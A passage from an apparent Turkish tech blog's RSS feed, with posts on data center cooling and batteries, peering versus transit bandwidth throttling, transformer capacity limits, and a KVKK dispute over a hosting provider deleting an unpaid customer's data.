<li><strong>Free Cooling (Serbest Dış Hava Soğutması):</strong><br>
Kış aylarında kompresörlü klimaları (chiller) tamamen kapatıp dışarıdaki soğuk havayı özel filtrelerden geçirerek sunucu odasına basmak.</li>
<li><strong>Sıcak-Soğuk Koridor İzolasyonu:</strong><br>
Klimaların ürettiği soğuk havanın sıcak havayla karışmasını engelleyerek klima fanlarının devrini %40 düşürmek.</li>
<li><strong>Sıvı Daldırmalı Soğutma (Immersion Cooling):</strong><br>
Sunucuları dielektrik (elektrik iletmeyen) özel bir mineral yağ banyosuna daldırmak. Fanları tamamen sökmek; ısıyı doğrudan sıvı ile dışarı atmak. Bu teknoloji PUE değerini 1.05 seviyesine çeker!</li>
</ol>
<hr>
<h2>Akü Gruplarının Gizli Toksisitesi</h2>
<p>Yeşil pazarlamacıların asla bahsetmediği bir diğer kirli sır, kesintisiz güç kaynaklarında (UPS) kullanılan <strong>tonlarca kurşun-asit aküdür (VRLA).</strong></p>
<p>Orta ölçekli bir veri merkezinin akü odasında binlerce devasa akü bulunur:</p>
<ul>
<li>Bu akülerin içinde tonlarca saf kurşun ve sülfürik asit vardır.</li>
<li>Akülerin kimyasal ömrü 3 ila 5 yıldır.</li>
<li>5 yıl sonra bu devasa zehirli kurşun kütlesi hurdaya ayrılır ve geri dönüşüm tesislerine gönderilir.</li>
</ul>
<p>Son yıllarda Lityum-İyon (LiFePO4) akülere geçiş başlamış olsa da lityum madenciliğinin ve kobalt tedarik zincirinin ekolojik maliyeti de masum değildir.</p>
<h2>Sonuç</h2>
<p>Hayati tehlike anında defibrilatörü bırakıp hastaya papatya çayı içiremezsiniz; şebeke çöktüğünde de sunucuları rüzgar gülü hayalleriyle ayakta tutamazsınız.</p>
<p>Veri merkezleri modern uygarlığın çelik ve silikon fabrikalarıdır; enerjiye açtır, soğutmaya muhtaçtır ve kriz anında fosil yakıtın acımasız gücüne sığınmak zorundadır. Sürdürülebilirlik takdire şayandır; ancak bu vizyon broşürlerdeki sahte karbon kredisi pazarlamasıyla değil; akıllı PUE mimarisiyle, ısı geri kazanımıyla ve dürüst mühendislikle inşa edilir. Bir tesisin kalitesini broşüründeki yeşil yapraklara göre değil; kapısındaki jeneratörün bakım disiplinine ve PUE katsayısına bakarak değerlendirin.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Yeşil Enerji</category>
            <category>Jeneratör</category>
            <category>Dizel</category>
            <category>PUE</category>
            <category>Sürdürülebilirlik</category>
            <category>Pazarlama</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/yesil-enerji-pazarlamasi-vs-mazot-kokan-jeneratorler-veri-merkezinin-cift-yuzu/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Sunucu Trafiğinde 'İç Pazar / Dış Pazar' Çifte Standartı: Peering vs. Transit]]></title>
            <link>http://localhost:3000/blog/post/sunucu-trafiginde-ic-pazar--dis-pazar-cifte-standarti-peering-vs-transit</link>
            <guid>sunucu-trafiginde-ic-pazar--dis-pazar-cifte-standarti-peering-vs-transit</guid>
            <pubDate>Wed, 24 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Türkiye'deki hosting sağlayıcılarının yurt içi trafiği limitsiz verip yurt dışından gelen bot ve ziyaretçi trafiğinde hattı daraltarak (Throttling) müşteriyi cezalandıran asimetrik bant genişliği politikası.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/sunucu-trafiginde-ic-pazar--dis-pazar-cifte-standarti-peering-vs-transit/thumbnail" alt=""> Büyük bir metropol hastanesinin acil servis girişine şöyle bir tabela asıldığını düşünün: <em>"İstanbul içi ikametgahı olan vatandaşlarımıza acil servisimizde serum, oksijen ve yoğun bakım hizmetleri tamamen sınırsız ve ücretsizdir. Ancak hastanemize Edirne'den, Ankara'dan veya yurtdışından bir turist/hasta gelirse; aldıkları her nefes oksijen için mililitre başına 50 Euro ek ücret fatura edilir! Eğer bu faturayı ödeyemezlerse hastanın oksijen vanası %90 oranında kısılacaktır (Throttling)!"</em> Bu mantık tıp ahlakına ve evrensel sağlık standartlarına ne kadar aykırıysa; küresel ve sınır tanımayan internet ağında bant genişliğini "Yurt İçi Trafik" ve "Yurt Dışı Trafik" diye ikiye ayırıp yabancı ziyaretçiye kapıyı daraltmak da ağ mühendisliğinin o kadar çarpık bir anomalidir.</p>
<p>Türkiye hosting ve veri merkezi pazarında sunucu kiralayan yazılımcıların ve e-ticaret sitelerinin sık sık tosladığı o görünmez duvar tam olarak budur:<br>
Sağlayıcı satış sayfasında gururla ilan eder: <strong>"1 Gbps Port, Limitsiz Trafik!"</strong><br>
Ancak sitenize Google botları yurtdışından saldırdığında veya siteniz yabancı bir ülkede viral olup trafik aldığında; sunucunuzun internet hızı aniden <strong>1 Gbps'den 10 Mbps'ye çakılır!</strong></p>
<hr>
<h2>Peering vs. IP Transit: İnternetin Gizli Maliyet Haritası</h2>
<p>Bu çifte standardın arkasında Türk Telekomünikasyon sektörünün omurga maliyetleri ve veri takas mimarisi yatar.</p>
<p>İnternet tek bir şirket değildir; binlerce bağımsız otonom sistemin (AS - Autonomous System) BGP protokolüyle birbirine bağlanmasıdır. Burada trafik iki şekilde akar:</p>
<pre><code>+------------------------------------------------------------------------+
|                          1. PEERING (Yerel Ara Bağlantı)                |
|                                                                        |
|  [Sağlayıcınız (Veri Merkezi)] &#x3C;==== Doğrudan Fiber ====> [Türk Telekom]
|  - Trafik Türkiye sınırları içinde kalır.                              |
|  - İstanbul'dan çıkan veri Ankara'ya gider.                            |
|  - Maliyeti ÇOK UCUZDUR (veya ücretsiz ara bağlantıdır).              |
+------------------------------------------------------------------------+

+------------------------------------------------------------------------+
|                          2. IP TRANSIT (Küresel Geçiş Hattı)           |
|                                                                        |
|  [Sağlayıcınız] ───► [Tier-1 Küresel Operatör (Telia / Lumen / Cogent)] │
|  - Trafik deniz altı kablolarıyla Frankfurt, Londra, New York'a gider.  |
|  - Sağlayıcı bu hat için her ay DOLAR / EURO cinsinden Megabit         |
|    başına fahiş toptan fatura öder!                                    |
+------------------------------------------------------------------------+
</code></pre>
<p>Türkiye'deki veri merkezleri için Türk Telekom, Superonline veya Vodafone şebekesindeki bir kullanıcıya veri göndermek (Yerel Trafik) son derece ucuzdur. Ancak veri sınır kapısından dışarı çıkıp küresel internete aktığında sağlayıcının cebinden doğrudan döviz çıkar!</p>
<hr>
<h2>Patolojinin Gelişimi: "Yurtdışı Çıkışınız Kısıtlandı!"</h2>
<p>Bir Türk e-ticaret sitesi düşünün. Ürünlerini sadece Türkiye'ye değil; Avrupa'daki gurbetçilere veya global pazara da satmak istemektedir:</p>
<ul>
<li>Sitede büyük bir kampanya başlar. Almanya ve Fransa'dan binlerce gurbetçi siteye akın eder.</li>
<li>Aynı anda Googlebot (ABD IP'leri) sitenin yeni ürünlerini indekslemek için saniyede 50 sayfa taramaya başlar.</li>
<li>Sunucunun anlık çıkış trafiği 80 Mbps'ye yükselir.</li>
</ul>
<p>Sağlayıcının otomatik ağ izleme yazılımı (NMS / MRTG) alarm verir: <em>"X müşterisi yurt dışı transit kotasını aştı!"</em></p>
<p>Ve o gece saat 22:00'de sağlayıcının kenar yönlendiricisi (Edge Router) müşterinin portuna acımasız bir <strong>QoS (Quality of Service) / Rate Limiting</strong> kuralı enjekte eder:</p>
<pre><code class="language-bash"># Sağlayıcının router'ında çalışan infaz kuralı:
policy-map THROTTLE-ABROAD
  class YURTDISI-TRAFIK
    police 10000000 conform-action transmit exceed-action drop 🔴
</code></pre>
<p>Sunucunun yurtdışı çıkışı <strong>10 Mbps'ye (saniyede 1 Megabayt)</strong> kilitlenir!</p>
<p>Sonuç:</p>
<ul>
<li>Almanya'dan siteye girmeye çalışan gurbetçiler sayfaların açılmadığını görür (<code>ERR_CONNECTION_TIMED_OUT</code>).</li>
<li>Googlebot siteyi tarayamaz; Google Search Console'da "Sunucu Hatası (5xx) - Tarama Hızı Düştü" uyarısı patlar. Sitenin Google sıralamaları yerle bir olur.</li>
<li>Ancak sistem yöneticisi kendi ofisinden (İstanbul'dan) siteyi açtığında site jet gibi açılır! Çünkü yerel hat açık, sınır kapısı kapalıdır!</li>
</ul>
<hr>
<h2>İnkâr ve Çatışma: "Türkiye'den Sorunsuz Açılıyor!"</h2>
<p>Müşteri destek bileti açar:<br>
<em>"Almanya ve Amerika'dan müşterilerimiz sitemize giremiyor, görseller yüklenmiyor, sunucunuzun yurtdışı hattı mı koptu?!"</em></p>
<p>Sağlayıcının yanıtı bilişim dünyasının en sinir bozucu kopyala-yapıştır metnidir:<br>
<em>"Sayın müşterimiz, teknik ekiplerimizce yapılan kontrollerde sunucunuza Türkiye lokasyonlu IP adreslerinden erişimde hiçbir problem görülmemektedir. Siteniz 12 ms hızında yanıt vermektedir. Yurtdışı erişimindeki yavaşlık uluslararası ara bağlantılardaki (BGP peering) yoğunluktan kaynaklanıyor olabilir. Paketiniz standart iç pazar trafiği için optimize edilmiştir; kurumsal uluslararası hat için Dedicated Bandwidth paketine geçiş yapabilirsiniz."</em></p>
<p>Müşteri kapana kısılmıştır. Afişte "Sınırsız Hat" vaat edilmiş; ancak sözleşmenin arkasına saklanan görünmez sınırlarla sistem bir yerel ada ağına (intranet) hapsedilmiştir.</p>
<hr>
<h2>Dış Dünyadan Gelen Bot ve DDoS Baskısı</h2>
<p>Bu çifte standardın en tehlikeli boyutu siber güvenliktir.</p>
<p>Bir sunucuya gelen DDoS saldırılarının veya zafiyet tarama botlarının (Mirai, Shodan, Censys) %99'u yurtdışı IP bloklarından gelir.</p>
<ul>
<li>Ucuz sağlayıcı gelen bu trafiği temizlemek için para harcamaz.</li>
<li>Yurtdışı hattı pahalı olduğu için saldırı geldiğinde ilk yaptığı şey, o müşterinin IP'sini yurtdışına tamamen kapatmaktır (<strong>Yurtdışı Null-Route / Geo-Blocking</strong>).</li>
<li>Saldırgan Türkiye dışındadır; Türkiye içindeki kullanıcılar siteyi görür ama dünya genelinde site buharlaşır.</li>
<li>Eğer siteniz Stripe, PayPal, Cloudflare veya harici bir global API ile konuşuyorsa, webhook istekleri Türkiye sınırından içeri giremediği için tüm sipariş ve ödeme süreçleri felç olur.</li>
</ul>
<hr>
<h2>Küresel Dünyada Hayatta Kalma Mimarisi</h2>
<p>İnternet küresel bir organizmadır; yerel çitlerle sınırlandırılamaz. Bu tuzaktan kaçınmak için modern mühendislik şu adımları atar:</p>
<pre><code>[Kullanıcılar: Berlin, Paris, New York, Tokyo]
                       │
                       ▼
[Cloudflare / Fastly Anycast Global Edge (300+ Şehir)]
- Yurt dışı trafiği daha Frankfurt ve Londra'dayken karşılar.
- HTML'i ve statik dosyaları doğrudan Avrupa'dan servis eder.
- Sitenizin Türkiye'deki sunucusuna yalnızca optimize edilmiş
  ufak dinamik API trafiğini gönderir (Trafik %90 Azalır!).
                       │
                       ▼ Tek ve Güvenli Tünel (Argo / Tunnel)
[Türkiye'deki Sunucunuz (Yurtdışı Hat Kotasını Aşmaz!)]
</code></pre>
<ol>
<li><strong>Kenar Katmanı (CDN) ile Kalkan Oluşturun:</strong><br>
Eğer siteniz Türkiye'deyse ve yurtdışı trafiğiniz kısıtlanıyorsa; sitenizin önüne mutlaka Cloudflare veya Fastly koyun. Bu sayede yurtdışı ziyaretçileriniz ve Google botları sunucunuzun pahalı transit hattını tüketmez; veriyi doğrudan Cloudflare'ın küresel noktalarından çeker.</li>
<li><strong>Taşıyıcı Bağımsız (Carrier-Neutral) Sağlayıcı Seçin:</strong><br>
Sunucu kiralarken sadece Türk Telekom omurgasına bağlı olanları değil; Seabone (Telecom Italia), Cogent, Lumen veya DE-CIX İstanbul doğrudan bağlantısı olan kurumsal veri merkezlerini tercih edin.</li>
<li><strong>Sözleşmedeki Hat Detayını Sorgulayın:</strong><br>
"Sınırsız Trafik" yalanına inanmayın. Sorun: <em>"Bu sunucunun 'Uluslararası Transit (Yurtdışı) Bant Genişliği' temiz ve garantili kaç Mbps'dir? Bir limit aşımında hat daraltılıyor mu?"</em></li>
</ol>
<h2>Sonuç</h2>
<p>Kendi hemşehrisine bedava oksijen verip yabancı hastanın boğazını sıkan bir klinik evrensel tıp merkezi olamaz; yurt içi trafiği serbest bırakıp yurtdışı trafiğinde müşterinin nefesini daraltan (Throttling) bir sağlayıcı da küresel internetin güvenilir bir ortağı olamaz.</p>
<p>İnternet sınırları kaldırdığı için bir devrimdir. Trafiğinizi coğrafi bariyerlerin arkasına hapseden sağlayıcılarla dünya çapında bir başarı hikayesi yazamazsınız. Altyapınızı seçerken hattın yerel rahatlığına değil; küresel omurgaya ne kadar özgür ve filtresiz bağlandığına bakın.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Bant Genişliği</category>
            <category>Transit IP</category>
            <category>Peering</category>
            <category>BGP</category>
            <category>Ağ Yönetimi</category>
            <category>Throttling</category>
            <category>Hosting</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/sunucu-trafiginde-ic-pazar--dis-pazar-cifte-standarti-peering-vs-transit/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[Veri Merkezinde Büyüme Sınırı: Trafo Kapasitesi ve Amper Savaşları]]></title>
            <link>http://localhost:3000/blog/post/veri-merkezinde-buyume-siniri-trafo-kapasitesi-ve-amper-savaslari</link>
            <guid>veri-merkezinde-buyume-siniri-trafo-kapasitesi-ve-amper-savaslari</guid>
            <pubDate>Tue, 23 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Kabinlerinde yüzlerce boş U yeri ve metrekarelerce beyaz alanı olduğu halde kapıdaki trafonun amper sınırına toslayarak tek bir sunucu bile açamayan veri merkezlerinin fiziksel çaresizliği.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/veri-merkezinde-buyume-siniri-trafo-kapasitesi-ve-amper-savaslari/thumbnail" alt=""> Büyük bir üniversite hastanesinin bahçesine 10 katlı devasa, pırıl pırıl yeni bir cerrahi ek bina inşa edildiğini hayal edin. Katlara yüzlerce son model hasta yatağı dizilir, ameliyathaneler robotik kollarla ve lazer cihazlarıyla donatılır. Dışarıdan bakan bir mimar tesisin büyüklüğüne ve ihtişamına hayran kalır. Ancak açılış günü geldiğinde ve 3. kattaki ilk ameliyathane cihazları devreye alındığında, hastanenin ana elektrik panosundan korkunç bir patlama sesi gelir ve tüm kompleksin ana şalteri aşağı iner! Başhekim ve mühendisler panoya koşar ve dehşet verici gerçeği o an anlarlar: Hastanenin sokaktaki elektrik trafosu ve binaya giren ana enerji hattı, 1970'lerden kalma eski 50 yataklı polikliniğin kapasitesine göre döşenmiştir! Yeni binada 300 yataklık boş yer vardır; ancak sokağın trafosundan o cihazları çalıştıracak tek bir amper bile fazladan elektrik çekilememektedir. O devasa 10 katlı lüks bina, kapısındaki incecik elektrik kablosu yüzünden karanlıkta terk edilmiş bir anıta dönüşür. Fiziksel metrekare vardır; ancak hayat veren enerji damarı tıkanmıştır.</p>
<p>Veri merkezi (Data Center) işletmeciliğinde ve kapasite planlamasında sistem mühendislerinin çarptığı en sert ve en tavizsiz beton duvar tam olarak bu trafo sınırıdır: <strong>Amper Duvarı (The Amperage Wall).</strong></p>
<hr>
<h2>Metrekare Yanılgısı: "Yerin Var Ama Elektriğin Yok!"</h2>
<p>Bilişim dünyasında veri merkezi yatırımı yapacak acemi yatırımcılar veya emlakçılar genellikle tesisi <strong>metrekare (m²)</strong> veya <strong>kabin (rack) sayısı</strong> ile değerlendirir:<br>
<em>"İstanbul'un göbeğinde 3.000 metrekare beyaz alan! 800 adet kabin kapasitesi!"</em></p>
<p>Bu ilanlar, fizik kurallarından bihaber olanları büyüler. Oysa modern veri merkezi mühendisliğinde mülkün metrekaresi veya binanın kaç kabin aldığı önemsiz bir detaydır. Tek bir mutlak gerçek vardır: <strong>Kapıdaki trafonun gücü (kVA / MW) ve kabin başına düşen Amper kapasitesi.</strong></p>
<p>Geleneksel sunucular kabin başına 2 ila 3 Kilowatt (kW) enerji çekerken, günümüz modern sunucuları (yüksek yoğunluklu blade sunucular, AI/GPU kümeleri, NVMe SAN depolama üniteleri) tek bir kabinde <strong>15 kW ila 40 kW</strong> arasında güç tüketir!</p>
<pre><code>+------------------------------------------------------------------------+
|                      TRAFO SINIRININ MATEMATİĞİ                        |
|                                                                        |
|  Tesisin Toplam Trafo Gücü       : 1.600 kVA (Yaklaşık 1.2 Megawatt)    |
|  Soğutma ve Kayıplar (PUE: 1.5)  : - 400 kW                             |
|  Yedeklilik Payı (N+1 Emniyet)   : - 200 kW                             |
|                                                                        |
|  Sunuculara Kalan Net Güç         : YALNIZCA 600 kW!                     |
|                                                                        |
|  Beyaz Alandaki Boş Kabin Sayısı : 300 Kabin                           |
|  Kabin Başına Düşen Gerçek Güç   : 600 kW / 300 Kabin = 2 kW (10 Amper!)|
+------------------------------------------------------------------------+
</code></pre>
<p>Sonuç: 300 adet kabininiz vardır; ancak modern bir kurumsal müşteri gelip <em>"Ben 3 kabin kiralayacağım, içine yapay zeka GPU sunucuları koyacağım, kabin başına 15 kW (64 Amper) güç istiyorum"</em> dediğinde sağlayıcı donakalır!</p>
<p>Tesisin toplam elektrik gücü sadece 40 kabini tam kapasite doldurmaya yeterlidir. Kalan 260 adet kabin, metrekarelerce beyaz alan boş bir tiyatro sahnesi gibi bomboş beklemek zorundadır!</p>
<hr>
<h2>Patolojinin Gelişimi: PDU Şalter Atması ve Faz Dengesizliği</h2>
<p>Kapasitesinin sınırına dayanmış bir veri merkezinde büyüme hırsı devam ederse, arka planda felaketin adımları duyulmaya başlar:</p>
<h3>1. PDU (Power Distribution Unit) Seviyesinde Sigorta Patlaması</h3>
<p>Kabinlerin içindeki akıllı dikey priz gruplarına (PDU) sunucular tıkıştırılır. Kabin 16 Amper'e göre tasarlanmıştır. Müşteri habersizce 2U'luk yeni bir depolama sunucusu takar. Gece yarısı diskler dönmeye başladığında kabinin akımı 16.5 Amper'e çıkar. PDU üzerindeki B-Tipi minyatür sigorta <code>ÇAT</code> diye atar! Kabindeki tüm sunucular anında kararır.</p>
<h3>2. Üç Fazlı Şebekede Nötr Hattının Aşırı Isınması (Harmonik Kriz)</h3>
<p>Sunuculardaki anahtarlamalı güç kaynakları (Switch-Mode Power Supply - SMPS) şebekeden saf sinüs çekmez; doğrultucu diyotlar yüzünden şebekeye 3. harmonik akımlar basar.<br>
Eğer 3 faz (R-S-T) arasındaki yük dengesi iyi hesaplanmazsa, nötr iletkeninden geçen akım faz akımlarını bile geçer! Dağıtım panosundaki bakır baralar fırın gibi ısınmaya başlar. Yangın riski kırmızı alarma geçer.</p>
<h3>3. Trafo Harareti ve Yaz Sıcağı Çöküşü</h3>
<p>Temmuz ayında dış hava sıcaklığı 40 dereceye ulaştığında veri merkezinin klimaları tam kapasite çalışmak zorundadır. Soğutma kompresörleri şebekeden ekstra yüzlerce amper çeker.<br>
Tesisin kapısındaki yağlı tip indirici trafo aşırı yükten inlemeye başlar. Yağ sıcaklığı 90 dereceyi aşar. Trafo koruma rölesi (Buchholz Rölesi) devreyi korumak için ana kesiciyi açar (Trip). Tüm veri merkezi bir saniyede jeneratörlerin insafına kalır.</p>
<hr>
<h2>"Yeni Trafo Alalım" Çıkmazı: Dağıtım Şirketinin Duvarı</h2>
<p>Kapasitesi tükenen işletmeci çözümü basit sanır: <em>"Gideriz elektrik dağıtım şirketine (BEDAŞ, AYEDAŞ vb.), 2 Megawatt'lık yeni bir trafo parası öderiz, kapasitemizi artırırız."</em></p>
<p>İşte Türkiye'deki en büyük bürokratik ve teknik duvara burada toslarlar:</p>
<ol>
<li><strong>Bölgesel Şebeke Tükenmişliği:</strong> Dağıtım şirketi haritayı açar: <em>"Bizim mahallemizdeki ana indirici merkezimizin kurulu gücü tükenmiştir. Size değil 2 MW, 100 kW bile veremeyiz."</em></li>
<li><strong>Astronomik Katılım Payları:</strong> Eğer güç verilirse bile, 15 kilometre öteden TEİAŞ yüksek gerilim hattından bağımsız yer altı kablosu çekilmesi şartı koşulur. Bu yatırımın maliyeti küçük bir veri merkezinin tüm şirket değerini aşar (milyonlarca dolar).</li>
<li><strong>Zaman Faktörü:</strong> İzinlerin, kazı ruhsatlarının ve trafo montajının tamamlanması en az 2 ila 3 yıl sürer. Oysa müşteriler kapıdadır ve bekleyemez.</li>
</ol>
<p>Sonuç: Veri merkezi büyüme sınırına toslar ve donar. Ne yeni müşteri alabilir ne de mevcut müşterilerin donanım yükseltmelerine izin verebilir.</p>
<hr>
<h2>Amper Savaşları: "Kabinimde Yer Var Neden Sunucu Taktırmıyorsunuz?!"</h2>
<p>Bu krizin faturası doğrudan son kullanıcıya ve sunucu barındırma (Colocation) müşterisine yansır.</p>
<p>Müşteri 42U'luk tam bir kabin kiralamıştır. Kabinin içine 15 adet 1U sunucu koymuştur. Kabinde hala 27U'luk devasa bir boş yer vardır!<br>
Müşteri elinde 5 adet yeni sunucuyla veri merkezine gelir:<br>
<em>"Kabinimde yer var, bu 5 sunucuyu takacağım."</em></p>
<p>Veri merkezi teknisyeni kapıda durur:<br>
<em>"Sunucuları takamazsınız beyefendi."</em></p>
<p>Müşteri isyan eder: <em>"Kabin benim değil mi? 27U boş yerim var, paramı ödüyorum, neden takamıyorum?!"</em></p>
<p>Teknisyen kabinin PDU ekranını gösterir:<br>
<em>"Kabin sözleşmeniz 10 Amper ile sınırlıdır. Şu an içerideki 15 sunucunuz 9.4 Amper çekmektedir. Bu 5 yeni sunucuyu takarsanız kabinin sigortası atar ve çalışan diğer 15 sunucunuz da çöker. Tesisimizin trafo kapasitesi dolduğu için kabinize ek amper de satamıyoruz!"</em></p>
<p>Müşteri donakalır: Fiziksel olarak bomboş duran kabin, elektriğin görünmez sınırları yüzünden bir müzayedeye dönüşmüştür.</p>
<hr>
<h2>Geleceğin Çözümü: Yüksek Yoğunluklu (High-Density) Mühendislik</h2>
<p>Bu amper duvarını aşabilen modern veri merkezleri, kaba büyüme yerine akıllı enerji mühendisliğine yatırım yapar:</p>
<pre><code>[KLASİK ESKİ YAKLAŞIM]
- Kabin başına 2 kW (Verimsiz, boş alan israfı)
- PUE 1.8 (Enerjinin neredeyse yarısı klimalara gidiyor)
- Trafo erkenden tükeniyor!

[MODERN YÜKSEK YOĞUNLUKLU YAKLAŞIM]
- Kabin başına 20 kW - 40 kW (Yoğunlaştırılmış kabinler)
- Sıvı Daldırmalı (Immersion) veya Doğrudan Çipe Sıvı Soğutma (Direct-to-Chip)
- PUE 1.15 (Tüm enerji klimalara değil, doğrudan sunuculara kalıyor!)
- Aynı trafodan 3 kat daha fazla bilişim gücü üretiliyor!
</code></pre>
<h2>Sonuç</h2>
<p>Yeni cerrahi blok inşa edip sokağın trafosunu hesaba katmayan hastane yönetimi hastalarını karanlığa mahkum eder; metrekarelerce beyaz alan kiralayıp kapıdaki amperi hesaplayamayan veri merkezi de sunucuları kilitlenmeye mahkum eder.</p>
<p>Veri merkezi işletmeciliği bir inşaat veya gayrimenkul işi değildir; saf bir termodinamik ve elektrik şebekesi mühendisliğidir. Bir tesisin büyüklüğü kabin adediyle veya mülkünün genişliğiyle değil; kapısındaki trafonun sunduğu kesintisiz amper gücüyle ölçülür. Altyapınızı seçerken gösterişli boş odalara değil; panodaki yük dengesine ve trafonun nefesine bakın; çünkü elektriğin bittiği yerde tüm dijital dünya bir avuç soğuk silikondan ibaret kalır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>Veri Merkezi</category>
            <category>Enerji</category>
            <category>Trafo</category>
            <category>Amper Sınırı</category>
            <category>Kapasite Planlama</category>
            <category>Altyapı</category>
            <category>Elektrik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/veri-merkezinde-buyume-siniri-trafo-kapasitesi-ve-amper-savaslari/thumbnail"/>
        </item>
        <item>
            <title><![CDATA[KVKK ve Veri Sorumlusu Çıkmazı: Yedekleri Silinen Müşterinin Hukuki Saldırısı]]></title>
            <link>http://localhost:3000/blog/post/kvkk-ve-veri-sorumlusu-cikmazi-yedekleri-silinen-musterinin-hukuki-saldirisi</link>
            <guid>kvkk-ve-veri-sorumlusu-cikmazi-yedekleri-silinen-musterinin-hukuki-saldirisi</guid>
            <pubDate>Mon, 22 Dec 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Faturası geciktiği için sunucusu silinen kurumsal müşterinin 'KVKK kapsamında verilerimi saklamak zorundaydınız!' tehdidiyle başlayan ve Veri Sorumlusu vs. Veri İşleyen çatışmasına dönen hukuki kördüğüm.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/kvkk-ve-veri-sorumlusu-cikmazi-yedekleri-silinen-musterinin-hukuki-saldirisi/thumbnail" alt=""> Özel bir tıp merkezinde hastaların tüm tahlil ve ameliyat raporlarını dijital ortamda saklayan bir arşiv şirketi düşünün. Özel klinik, bu arşiv şirketine aylık sunucu ve yazılım kirası ödemeyi taahhüt etmiştir. Ancak klinik yönetimi 3 ay boyunca faturaları ödemez, yapılan uyarıları görmezden gelir. Arşiv şirketi sözleşmedeki tahliye maddesini işleterek sunuculardaki verileri siler ve diskleri formatlar. Ertesi gün kliniğin avukatları kapıya dayanır ve başhekim adli makamlara suç duyurusunda bulunur: <em>"Siz Sağlık Bakanlığı Hasta Hakları Yönetmeliği ve Kişisel Sağlık Verileri Kanunu kapsamında bu verileri 20 yıl boyunca saklamakla yükümlüydünüz! Hastalarımın verilerini nasıl silersiniz?! Sizi hapse attıracağız!"</em> Arşiv şirketinin avukatı ise sözleşmeyi masaya vurur: <em>"Biz sizin tıbbi ortağınız değiliz; sadece disk alanı satan bir kiralama şirketiyiz. Faturayı ödemediniz, sözleşmenin 8. maddesine göre sildik!"</em> Sağlık verisinin kutsallığı ile ticari sözleşmenin soğuk gerçekleri mahkeme salonunda çarpışır.</p>
<p>Türkiye'de 6698 sayılı <strong>Kişisel Verilerin Korunması Kanunu (KVKK)</strong> yürürlüğe girdiğinden beri hosting firmaları ile veri kaybı yaşayan müşteriler arasında yaşanan o meşhur hukuki düello tam olarak bu hastane-arşiv krizinin fotokopisidir.</p>
<hr>
<h2>"KVKK'ya Göre Silmeniz Yasak!" Çığlığı</h2>
<p>Olay genellikle tipik bir fatura ihmaliyle başlar:</p>
<ul>
<li>Müşteri 300 TL'lik VDS faturasını 15 gün geciktirir.</li>
<li>Sağlayıcının otomatik WHMCS sistemi 7. günde sunucuyu siler (Terminate).</li>
<li>Tüm müşteri veritabanı, sipariş geçmişi ve muhasebe kayıtları buharlaşır.</li>
<li>Kendi bağımsız yedeğini almadığını fark eden müşteri, panikle köşeye sıkışır.</li>
</ul>
<p>Çaresizlik anında Türkiye'deki şirket yöneticilerinin başvurduğu ilk can simidi, son yıllarda herkesin diline pelesenk olan KVKK sopasını sallamaktır:</p>
<blockquote>
<p><em>"Siz benim sunucumu silemezsiniz! İçeride 50.000 müşterimin kişisel verisi vardı. KVKK'nın 12. maddesi gereği veri güvenliğini sağlamak ve verilerin yok olmasını engellemek zorundasınız. Şirketimizi batırdınız. Sizi hem KVKK Kurumu'na şikayet edeceğiz (milyonluk ceza yiyeceksiniz) hem de savcılığa 'Verileri Hukuka Aykırı Olarak Yok Etme' (TCK Madde 138) suçundan suç duyurusunda bulunacağız!"</em></p>
</blockquote>
<p>Hosting firmasının sahibi ve destek personeli soğuk terler dökmeye başlar: <em>"Acaba gerçekten suçlu muyuz? KVKK bizi mi bağlıyor?"</em></p>
<hr>
<h2>Hukuki Düğüm: "Veri Sorumlusu" (Data Controller) Kimdir?</h2>
<p>Bu kördüğümü çözmek için KVKK'nın kalbinde yer alan iki temel kavramı cerrahi bir neşterle birbirinden ayırmak gerekir:</p>
<pre><code>+------------------------------------------------------------------------+
|                          VERİ SORUMLUSU (Data Controller)              |
|                                                                        |
|  KİMDİR? : E-Ticaret Yapan Müşterinin Kendisi!                         |
|  GÖREVİ  : - Müşterilerden açık rıza alan, veriyi işleme amacını       |
|              belirleyen, verinin sahibidir.                            |
|            - Verinin güvenliğini, yedeğini ve sürekliliğini sağlamak   |
|              kanunen BİZZAT ONUN SORUMLULUĞUNDADIR!                    |
+------------------------------------------------------------------------+

+------------------------------------------------------------------------+
|                          VERİ İŞLEYEN (Data Processor)                 |
|                                                                        |
|  KİMDİR? : Hosting Firması / Altyapı Sağlayıcı                         |
|  GÖREVİ  : - Veri sorumlusunun verdiği yetkiyle veriyi yalnızca        |
|              sunucuda barındıran teknik altyapıdır.                    |
|            - Verinin içeriğini bilmez, bilemez (bilmemelidir!).        |
|            - Aradaki ilişki KVKK'dan önce TİCARİ BORÇLAR KANUNU'NA     |
|              ve HİZMET SÖZLEŞMESİNE (TOS) tabidir!                     |
+------------------------------------------------------------------------+
</code></pre>
<p>Müşteri kendi ihmalini (faturayı ödememek ve yedek almamak) KVKK'nın arkasına saklamaya çalışmaktadır. Kanun önünde verinin asıl muhafızı ve sorumlusu e-ticaret sitesinin sahibidir; hosting sağlayıcısı müşterinin ücretsiz ve zorunlu veri koruma kasası değildir.</p>
<hr>
<h2>Sözleşme (TOS) vs. Kanun: Mahkeme Salonundaki Savaş</h2>
<p>Dava açıldığında mahkemede iki hukuk kuralı çarpışır:</p>
<h3>1. Müşterinin Savunması:</h3>
<p><em>"Hosting firması bir bilişim kuruluşudur. Basit bir fatura gecikmesi için geri dönüşsüz veri imhası yapmak 'Ölçülülük İlkesine' ve Türk Borçlar Kanunu'nun 'Dürüstlük Kuralına' (TMK Madde 2) aykırıdır. 15 günlük gecikme için 10 yıllık ticari verinin silinmesi telafisi imkansız zarardır."</em></p>
